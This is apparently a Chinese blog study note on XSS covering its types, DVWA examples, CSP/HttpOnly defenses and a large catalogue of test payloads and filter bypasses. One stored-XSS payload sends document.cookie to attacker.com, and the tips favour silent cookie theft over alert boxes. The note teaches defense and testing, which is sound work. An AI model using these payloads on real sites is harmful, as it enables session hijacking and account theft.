网络安全中级阶段学习笔记(三):XSS 漏洞学习笔记(原理、分类、利用与防御、POC大全)

本文所有知识点均用于网络安全防御技术学习 ,攻击手段仅可在合法授权的测试环境 中使用。未经授权侵入他人系统、窃取信息属违法行为,将承担相应法律责任。网络安全的核心是 "攻防兼备",掌握攻击手段的同时,更要牢记防护使命,共同维护网络空间安全。

目录

[一、XSS 漏洞基础认知](#一、XSS 漏洞基础认知)

[1. 核心定义](#1. 核心定义)

[2. 核心依赖技术](#2. 核心依赖技术)

[3. 攻击危害](#3. 攻击危害)

[二、XSS 漏洞三大分类(核心重点)](#二、XSS 漏洞三大分类(核心重点))

[1. 分类对比总表](#1. 分类对比总表)

[2. 各类型攻击流程](#2. 各类型攻击流程)

[(1)反射型 XSS 攻击流程](#(1)反射型 XSS 攻击流程)

[(2)存储型 XSS 攻击流程](#(2)存储型 XSS 攻击流程)

[(3)DOM 型 XSS 攻击流程](#(3)DOM 型 XSS 攻击流程)

[3. 源码分析示例](#3. 源码分析示例)

[(1)反射型 XSS(DVWA 示例)](#(1)反射型 XSS(DVWA 示例))

[(2)存储型 XSS(DVWA 示例)](#(2)存储型 XSS(DVWA 示例))

[三、XSS 漏洞挖掘与利用](#三、XSS 漏洞挖掘与利用)

[1. 手工挖掘步骤](#1. 手工挖掘步骤)

[2. 常见 POC 测试代码](#2. 常见 POC 测试代码)

[3. 常见绕过技巧](#3. 常见绕过技巧)

[四、XSS 漏洞防御方案](#四、XSS 漏洞防御方案)

[1. 防御体系总览](#1. 防御体系总览)

[2. 核心防御手段详解](#2. 核心防御手段详解)

[五、XSS 漏洞测试 POC 大全:分类、场景与绕过方案](#五、XSS 漏洞测试 POC 大全:分类、场景与绕过方案)

[1、基础验证类 POC(通用检测)](#1、基础验证类 POC(通用检测))

[2、按 XSS 类型分类 POC](#2、按 XSS 类型分类 POC)

[2.1. 反射型 XSS 专用 POC](#2.1. 反射型 XSS 专用 POC)

[2.2. 存储型 XSS 专用 POC](#2.2. 存储型 XSS 专用 POC)

[2.3. DOM 型 XSS 专用 POC](#2.3. DOM 型 XSS 专用 POC)

[3、绕过过滤类 POC(进阶)](#3、绕过过滤类 POC(进阶))

[3.1. 关键词过滤绕过](#3.1. 关键词过滤绕过)

[3.2. 字符编码绕过](#3.2. 字符编码绕过)

[3.3. 特殊字符与逻辑绕过](#3.3. 特殊字符与逻辑绕过)

4、工具与实战辅助

[4.1. POC 生成与测试工具](#4.1. POC 生成与测试工具)

[4.2. 实战注意事项](#4.2. 实战注意事项)

[5、POC 使用风险提示](#5、POC 使用风险提示)


一、XSS 漏洞基础认知

1. 核心定义

XSS(Cross Site Script)即跨站脚本攻击,是 Web 应用中常见的安全漏洞。攻击者将恶意脚本(多为 JavaScript)植入网站页面,当用户访问页面时,脚本被浏览器执行,从而实现窃取信息、劫持会话等攻击目的。其本质是恶意代码未经过滤与正常代码混合执行,浏览器无法区分脚本可信度。

2. 核心依赖技术

技术类型 核心作用 关键知识点
HTML 页面结构载体 支持表单提交、标签嵌套,单标签(<img/>)、双标签(<script></script>)均可作为注入入口
JavaScript 恶意行为实现 可操作 DOM、获取 Cookie、发起请求,核心弹框函数:alert ()、confirm ()、prompt ()
Cookie/Session 会话跟踪 Cookie 存储在客户端(4KB 限制),Session 存储在服务器,均为 XSS 攻击常见目标

3. 攻击危害

  1. 基础危害:页面弹框骚扰、刷流量、网站挂马
  2. 核心危害:Cookie 盗取、会话劫持、账号被盗、用户提权
  3. 高级危害:DDOS 攻击、蠕虫传播(如新浪微博 XSS 蠕虫)、键盘监控、钓鱼诱导

二、XSS 漏洞三大分类(核心重点)

1. 分类对比总表

分类 别名 产生层面 存储特性 触发条件 危害等级 典型场景
反射型 XSS 非持续型、参数型 前端 不存储 用户点击恶意 URL 搜索框、URL 参数传递
存储型 XSS 持续型 后端 存储于数据库 访问含恶意代码页面 留言板、评论区、博客日志
DOM 型 XSS 前端型 前端 不存储 浏览器解析 DOM 基于 JS 动态渲染的页面

2. 各类型攻击流程

(1)反射型 XSS 攻击流程
(2)存储型 XSS 攻击流程
(3)DOM 型 XSS 攻击流程

3. 源码分析示例

(1)反射型 XSS(DVWA 示例)
php 复制代码
// 核心问题:未过滤用户输入
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
    echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
(2)存储型 XSS(DVWA 示例)
php 复制代码
// 核心问题:仅过滤SQL注入,未过滤XSS代码
$message = stripslashes($_POST['mtxMessage']);
$message = mysql_real_escape_string($message); // 仅防SQL注入
$query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name')";

三、XSS 漏洞挖掘与利用

1. 手工挖掘步骤

2. 常见 POC 测试代码

标签类型 核心 POC 代码 适用场景
<script> <script>alert(1)</script> 无过滤的输入框、URL 参数
<script src=http://xxx/xss.js\></script> 需要加载外部恶意脚本时
<img> <img src=x οnerrοr=alert('xss')> 单标签注入场景(如头像评论)
<img src=# οnmοuseοver="alert(1)"> 触发鼠标悬浮事件
<a> <a href=javascript:alert ('xss')> 点击</a> 超链接跳转场景
<input> <input οnclick=alert(3) value="点击测试"> 表单元素注入

3. 常见绕过技巧

绕过类型 方法示例 原理
大小写绕过 <ScRiPt>alert(1)</ScRiPt> HTML 标签大小写不敏感
双写绕过 <sc<script>ript>alert(/xss/)</script> 绕过简单关键词过滤
标签闭合绕过 "><script>alert(1)</script> 闭合原有标签,插入新脚本
编码绕过 十六进制编码:<img src=x οnerrοr=&#x61;lert(1)> 绕过字符检测,浏览器自动解码
混淆绕过 插入空格 / 回车:<img src=x οnerrοr=alert(1)> 绕过严格的格式检测

四、XSS 漏洞防御方案

1. 防御体系总览

防御层面 核心措施 具体实现
前端防御 输入验证、JS 过滤 限制输入长度,过滤特殊标签关键词
后端防御 输出编码、数据过滤 HTML 实体编码(<→<),白名单验证
环境防御 CSP 策略、HttpOnly 标记 禁止外域脚本,保护 Cookie 不被读取
硬件防御 WAF 部署 拦截已知 XSS 攻击特征

2. 核心防御手段详解

  1. CSP 内容安全策略
    • 禁止加载外域代码,防止复杂攻击逻辑
    • 禁止内联脚本执行(如 GitHub 采用),限制未授权脚本运行
  2. HttpOnly Cookie 设置
    • 为 Cookie 添加 HttpOnly 属性,阻止 JavaScript 获取,从根源防止 Cookie 被盗
  3. 输入输出双验证
    • 输入验证:优先白名单(仅允许指定字符 / 格式),黑名单辅助(过滤<script>、onerror 等)
    • 输出编码:所有用户输入内容输出前进行 HTML 编码,转换特殊字符

五、XSS 漏洞测试 POC 大全:分类、场景与绕过方案

1、基础验证类 POC(通用检测)

此类 POC 用于快速验证 XSS 漏洞是否存在,核心通过弹窗函数触发可视化反馈,适用于反射型、存储型、DOM 型 XSS 的初步检测。

功能类型 POC 代码 适用场景 注意事项
基础弹窗 <script>alert(1)</script> 无过滤的输入框、URL 参数、留言板 现代浏览器可能拦截innerHTML插入的<script>标签,优先用于服务端直接输出场景
确认弹窗 <script>confirm('XSS验证')</script> 需用户交互确认的场景,避免误判 弹窗含 "确定 / 取消" 按钮,可辅助区分真实漏洞与误报
输入弹窗 <script>prompt('请输入', 'XSS')</script> 需获取用户输入的测试(如模拟钓鱼) 可用于验证脚本执行时的交互能力
单标签弹窗 <img src=x onerror=alert(1)> 过滤<script>标签但允许<img>的场景 src=x为无效值,触发onerror事件执行脚本,兼容性强
超链接触发 <a href=javascript:alert(1)>点击测试</a> 输入内容被渲染为超链接的场景(如评论区链接) 需用户点击链接触发,适用于href属性未过滤的情况

2、按 XSS 类型分类 POC

2.1. 反射型 XSS 专用 POC

反射型 XSS 依赖 URL 参数或表单提交,POC 需适配 "参数拼接" 场景,常见于搜索框、登录页、URL 参数回显等位置。

应用场景 POC 代码 原理说明
GET 参数注入 http://target.com/search?key="><script>alert(1)</script> 闭合 URL 参数原有引号,插入脚本标签,服务端拼接后返回执行
表单提交注入 "><script>alert(document.domain)</script> 表单输入框中闭合value属性(如value="注入内容"),提交后服务端直接输出
事件触发绕过 <input type=text onfocus=alert(1) autofocus> 利用autofocus自动获取焦点,触发onfocus事件,适用于过滤<script>但允许事件属性的场景
多标签组合 <svg onload=alert(1)> SVG 标签支持onload事件,无需用户交互,可绕过部分标签过滤
2.2. 存储型 XSS 专用 POC

存储型 XSS 需长期留存于数据库(如留言板、评论区、用户资料),POC 需兼顾 "持久性" 与 "隐蔽性",避免触发网站内容审核。

应用场景 POC 代码 原理说明
留言板注入 <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> 静默窃取 Cookie 并发送至攻击者服务器,无弹窗避免被发现
用户资料注入 <img src=https://attacker.com/avatar.jpg onerror=alert(1)> 伪装成图片链接,加载失败时触发onerror执行脚本,隐蔽性强
富文本编辑器注入 <iframe src="javascript:alert(1)" width=0 height=0></iframe> iframe 标签隐藏(宽高为 0),静默执行脚本,适用于富文本未过滤 iframe 的场景
长文本分段注入 <div onmouseover=alert(1)>测试内容<br>滚动到此处触发</div> 利用onmouseover事件,用户滚动到文本位置时触发,避免直接弹窗被拦截
2.3. DOM 型 XSS 专用 POC

DOM 型 XSS 由前端 JS 解析触发,不经过服务端,POC 需适配location.hashdocument.URLinnerHTML等客户端 API 场景。

应用场景 POC 代码 原理说明
hash 参数注入 http://target.com/#<img src=x onerror=alert(1)> 利用window.location.hash(# 后内容)不发送至服务端的特性,前端 JS 读取后直接渲染
URL 解析注入 http://target.com/?msg=<script>alert(document.URL)</script> 前端 JS 通过document.URL获取参数并使用innerHTML渲染,未过滤导致执行
DOM 节点操作 #' onclick="alert(1)"> 闭合原有 DOM 标签的单引号,插入onclick事件,点击页面元素时触发(如搜索结果回显)
本地存储注入 <script>localStorage.setItem('xss', 'alert(1)');eval(localStorage.xss)</script> 利用localStorage存储脚本,再通过eval执行,适用于依赖本地存储的前端页面

3、绕过过滤类 POC(进阶)

针对网站存在的过滤规则(如关键词拦截、字符编码限制),需通过变形、编码、混淆等方式构造 POC。

3.1. 关键词过滤绕过
过滤规则 绕过 POC 原理
过滤<script>标签 <sc<script>ript>alert(1)</sc</script>ript> 双写敏感词,服务端过滤一次后残留有效<script>标签
过滤on事件 <img src=x oonnerror=alert(1)> 双写事件属性关键词(如onerroroonnerror),过滤后恢复正常属性
过滤javascript协议 <a href=java&#115;cript:alert(1)>点击</a> HTML 实体编码script中的s(s),浏览器解析时自动解码
大小写过滤 <sCrIpT>alert(1)</ScRiPt> HTML 标签大小写不敏感,混合大小写绕过黑名单检测
3.2. 字符编码绕过
编码类型 绕过 POC 适用场景
HTML 实体编码 <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)> alert函数编码为十进制实体,适用于输出位置支持实体解码的场景
URL 编码 http://target.com/search?key=%3Cscript%3Ealert(1)%3C/script%3E URL 参数编码<→%3C、>→%3E,适用于服务端未解码过滤的情况
Unicode 编码 <img src=x onerror=\u0061\u006C\u0065\u0072\u0074(1)> JavaScript Unicode 编码alert,适用于前端 JS 直接处理输入的场景
Base64 编码 <script src=data:text/javascript;base64,YWxlcnQoMSk=></script> 脚本内容 Base64 编码(alert(1)→YWxlcnQoMSk=),绕过文本内容检测
3.3. 特殊字符与逻辑绕过
过滤场景 绕过 POC 原理
强制要求含http:// <a href=javascript:alert(1)/*http://*/> 添加注释符/* */包裹http://,满足规则同时执行脚本
空格被替换为&nbsp; <img%0Asrc=x%0Aonerror=alert(1)> 使用换行符(%0A)替代空格,浏览器解析时忽略换行,正常识别属性
隐藏表单注入 ?t_sort=" onfocus=alert(1) type="text" 修改隐藏表单参数(如t_sort),添加type="text"使其可见,onfocus触发脚本
EXIF 信息注入 (需工具)使用 ExifTool 修改图片元数据:exiftool -Comment='<script>alert(1)</script>' test.jpg 图片上传功能未过滤 EXIF 信息,上传后页面渲染图片时执行元数据中的脚本

4、工具与实战辅助

4.1. POC 生成与测试工具
工具名称 功能 使用场景
XSStrike 自动化生成绕过 POC、检测 XSS 漏洞 批量测试 URL 参数、表单输入,支持多种绕过策略
Burp Suite 拦截请求修改参数,插入 POC 手动测试表单提交、HTTP 头注入(如 Referer、User-Agent)
Tiny XSS Payloads 精简 POC 集合,含浏览器兼容性标注 针对不同浏览器(Chrome/Firefox/Safari)选择有效 POC
在线编码工具 (如 Matools)转换 HTML/URL/Unicode 编码 快速生成编码绕过型 POC,避免手动计算
4.2. 实战注意事项
  1. 隐蔽性优先 :真实测试中避免使用alert弹窗,优先用fetchimg标签静默发送数据(如窃取 Cookie)。
  2. 浏览器兼容性 :现代浏览器对innerHTML插入的<script>标签默认拦截,优先选择<img><svg><iframe>等标签的事件触发。
  3. 上下文适配 :根据注入位置调整 POC(如href属性用javascript:协议,div标签用onmouseover事件)。
  4. 防御绕过验证 :若网站启用 CSP,可尝试<style/onload=eval(name)>(需 CSP 允许内联样式)等特殊 POC。

5、POC 使用风险提示

  1. 仅在授权场景下使用 POC 测试(如自身搭建的靶场、客户授权的渗透测试),禁止未经允许测试第三方网站。
  2. 避免使用可能破坏业务的 POC(如大面积传播的 XSS 蠕虫、篡改页面内容的脚本)。
  3. 测试后及时清理存储型 XSS 的 POC 代码,避免影响其他用户。
相关推荐
上海云盾-小余9 小时前
WEB防火墙的主要防御功能有哪些
安全·web安全·网络安全·安全威胁分析·ddos
jenchoi41317 小时前
【2025-12-01】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全·npm
白帽黑客-晨哥17 小时前
零基础系统学习渗透测试路线图
学习·网络安全·渗透测试·护网行动·产教融合·湖南省网安基地
咨询QQ2769988517 小时前
COMSOL模拟蛇形流道PEMFC:多因素考量下的探索之旅
网络安全
-曾牛18 小时前
深入解析 XSS 漏洞:原理、分类与攻防实战
前端·安全·web安全·网络安全·渗透测试·xss·原理解析
XH-hui20 小时前
【打靶日记】VulNyx 之 Responder
linux·网络安全·vulnyx
vortex520 小时前
基于 Apache 规则拦截目录扫描器请求:实测与配置指南
linux·网络安全·apache
知攻善防实验室20 小时前
Yakit热加载 之 出差无聊测酒店 WiFi
安全·web安全·网络安全·渗透测试
超级大只老咪21 小时前
dirsearch(目录扫描)
网络安全